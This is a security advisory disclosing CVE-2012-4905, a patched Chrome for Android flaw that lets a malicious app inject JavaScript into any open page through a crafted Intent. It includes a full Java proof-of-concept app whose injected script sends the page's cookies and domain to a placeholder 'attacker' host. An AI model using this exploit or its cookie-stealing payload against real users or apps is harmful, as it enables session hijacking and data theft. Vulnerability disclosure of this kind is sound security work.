CVE Number: CVE-2012-4905
Title: Chrome for Android - UXSS via com.android.browser.application_id Intent extra
Affected Software: Confirmed on Chrome for Android v18.0.1025123
Credit: Takeshi Terada
Issue Status: v18.0.1025308 was released which fixes this vulnerability
Overview:
By sending a crafted Intent to Chrome for Android, malicious Android apps can
inject javascript into arbitrary Web pages rendered in Chrome. Such kind of
UXSS-like vulnerabilities is often called Cross-Application Scripting.
Details:
When other Android apps send an Intent with javascript: URI to Chrome for
Android (v18.0.1025123), Chrome opens a new tab and execute the JavaScript
code in the context of the blank domain. Probably this is a countermeasure
against UXSS attacks.
However, this can be bypassed by an Intent with Extra data as below:
intent.putExtra("com.android.browser.application_id", "com.android.chrome");
With an Intent that contains such Extra data, Chrome loads javascript: URI
(written in the Intent) in the current foreground tab, not in a blank tab.
This enables malicious Android apps to execute arbitrary JavaScript code in
arbitrary domains on Chrome. As a result, other apps are able to steal Cookies
and so on.
Proof of Concept:
package jp.mbsd.terada.attackchrome1;
import android.app.Activity;
import android.os.Bundle;
import android.content.Intent;
import android.net.Uri;
public class Main extends Activity {
@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.main);
doit();
}
// get intent to invoke the chrome app
public Intent getIntentForChrome(String url) {
Intent intent = new Intent("android.intent.action.VIEW");
intent.setClassName("com.android.chrome", "com.google.android.apps.chrome.Main");
intent.setData(Uri.parse(url));
return intent;
}
public void doit() {
try {
// At first, force the chrome app to open a target Web page
Intent intent1 = getIntentForChrome("http://www.google.com/1");
startActivity(intent1);
// wait a few seconds
Thread.sleep(3000);
// JS code to inject into the target (www.google.com)
String jsURL = "javascript:var e=encodeURIComponent,img=document.createElement('img');"
+ "img.src='http://attacker/?c='+e(document.cookie)+'&d='+e(document.domain);"
+ "document.body.appendChild(img);";
Intent intent2 = getIntentForChrome(jsURL);
// Trick to prevent Chrome from opening the JS URL in a different tab
intent2.putExtra("com.android.browser.application_id", "com.android.chrome");
intent2.addFlags(Intent.FLAG_ACTIVITY_SINGLE_TOP);
// Inject JS into the target Web page
startActivity(intent2);
}
catch (Exception e) {}
}
}
Timeline:
2012/07/07 Reported to Google security team.
2012/09/12 Vender announced v18.0.1025308
2013/01/07 Disclosure of this advisory
Recommendation:
Upgrade to the latest version.
Reference:
http://googlechromereleases.blogspot.jp/2012/09/chrome-for-android-update.html
https://code.google.com/p/chromium/issues/detail?id=144813
